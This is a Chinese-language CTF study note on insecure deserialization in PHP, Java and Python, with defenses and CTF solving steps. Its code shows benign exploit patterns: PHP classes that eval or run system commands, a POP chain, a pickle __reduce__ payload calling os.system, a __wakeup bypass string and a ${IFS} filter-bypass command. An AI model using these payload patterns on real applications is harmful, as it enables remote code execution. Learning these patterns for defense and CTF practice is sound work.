MISC杂项学习
一、基础原理
1.1 序列化与反序列化定义
序列化是将对象状态转换为可存储或传输格式的过程,反序列化则是将这些格式还原为原始对象的过程。常见的序列化格式包括二进制流、JSON、XML等。
1.2 安全风险产生原因
核心原理
当应用程序对不可信数据源进行反序列化操作时,攻击者可构造恶意数据触发代码执行。反序列化漏洞的核心在于:反序列化过程会自动调用对象的特定方法(如PHP的魔术方法、Java的readObject()、Python的__reduce__()),若这些方法包含危险操作且参数可控,则可能导致远程代码执行。
二、漏洞利用方式
2.1 构造恶意对象
通过定义包含危险方法的类,构造恶意对象并序列化。反序列化时自动触发危险方法,例如:
代码示例:PHP恶意类构造
// PHP示例:构造包含__destruct方法的恶意类
class Malicious {
public $cmd;
function __destruct() {
eval($this->cmd);
}
}
$obj = new Malicious();
$obj->cmd = 'system("whoami");';
echo serialize($obj);
2.2 利用魔术方法
不同语言的关键触发方法:
- PHP:
__wakeup()
、__destruct()
、__toString()
- Java:
readObject()
、readExternal()
- Python:
__reduce__()
、__getstate__()
2.3 POP链构建
通过串联多个类的方法调用,形成利用链(Property-Oriented Programming)。例如PHP中的链式调用:
代码示例:PHP POP链构造
class A {
public $b;
function __destruct() {
$this->b->exec();
}
}
class B {
public $cmd;
function exec() {
system($this->cmd);
}
}
// 构造A->B->exec()调用链
$a = new A();
$a->b = new B();
$a->b->cmd = 'id';
echo serialize($a);
三、语言特性对比
语言 | 关键触发方法 | 序列化格式 | 典型漏洞案例 |
---|---|---|---|
PHP | __wakeup() 、__destruct() | 明文字符串 | CVE-2016-7124 |
Java | readObject() 、readExternal() | 二进制流(ACED开头) | Apache Commons Collections漏洞 |
Python | __reduce__() | pickle二进制 | 反序列化命令执行 |
3.1 PHP反序列化
- 格式:明文可读字符串(如
O:8:"Malicious":1:{s:3:"cmd";s:7:"system";}
) - 核心:魔术方法自动触发
- 典型漏洞:
- CVE-2016-7124:
__wakeup()
绕过(属性个数篡改) - 字符串逃逸(通过字符替换构造POP链)
- CVE-2016-7124:
3.2 Java反序列化
- 格式:二进制流(以
ACED
开头的16进制) - 核心:
readObject()
方法与Gadget链 - 典型案例:
- Apache Commons Collections漏洞(CVE-2015-7501)
- WebLogic T3协议漏洞(CVE-2017-10271)
3.3 Python反序列化
- 格式:二进制流(pickle协议)
- 核心:
__reduce__()
方法返回可执行元组 - 风险示例:
代码示例:Python反序列化命令执行
import os
import pickle
class Exploit:
def __reduce__(self):
return (os.system, ('echo hacked',))
print(pickle.dumps(Exploit())) # 反序列化时执行命令
四、防御机制
4.1 输入验证
最佳实践
- 对反序列化数据进行签名校验(如HMAC)
- 限制反序列化类范围(白名单机制)
4.2 安全配置
- PHP:使用
unserialize($data, ['allowed_classes' => false])
- Java:禁用危险库(如Apache Commons Collections < 4.4)
- Python:优先使用JSON替代pickle
4.3 代码审计
审计重点
- 重点检查
unserialize()
、pickle.loads()
等危险函数 - 避免在魔术方法中使用
eval()
、system()
等危险函数
五、CTF题型与解题技巧
5.1 常见题型
- 基础反序列化
直接构造恶意对象触发漏洞,如:
代码示例:攻防世界unserialize3
// 攻防世界unserialize3
class xctf{
public $flag='111';
function __wakeup(){exit('bad');}
}
// 绕过__wakeup:修改属性个数
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
- POP链构造
如CTFSHOW web267,利用Yii框架的CVE-2020-15148构造调用链:
代码示例:Yii框架POP链
namespace yii\rest{
class IndexAction{public $checkAccess='exec'; public $id='cat /flag';}
}
// 省略中间类...
echo base64_encode(serialize(new BatchQueryResult()));
- 反序列化+命令注入
结合命令注入绕过过滤,如:
// 绕过空格过滤:使用${IFS}
$cmd = 'cat${IFS}/flag';
5.2 解题步骤
- 寻找反序列化入口:搜索代码中的
unserialize()
、pickle.loads()
等函数 - 分析可利用类:查找包含魔术方法的类,识别危险操作
- 构造利用链:串联方法调用,生成序列化字符串
- 调试验证:通过打印输出或日志确认利用链有效性
六、参考案例
- PHP反序列化:CTFSHOW web265-270[1]
- Java反序列化:Apache Commons Collections漏洞[2]
- Python反序列化:CISCN 2019华北Day1 Web2[3]
七、防御最佳实践
防御清单
- 避免反序列化不可信数据:优先使用JSON等安全格式
- 实施白名单机制:限制允许反序列化的类
- 数据完整性校验:对序列化数据进行签名(如HMAC)
- 使用安全库:PHP替换为
igbinary
,Java使用Kryo
- 代码审计:定期检查反序列化入口及魔术方法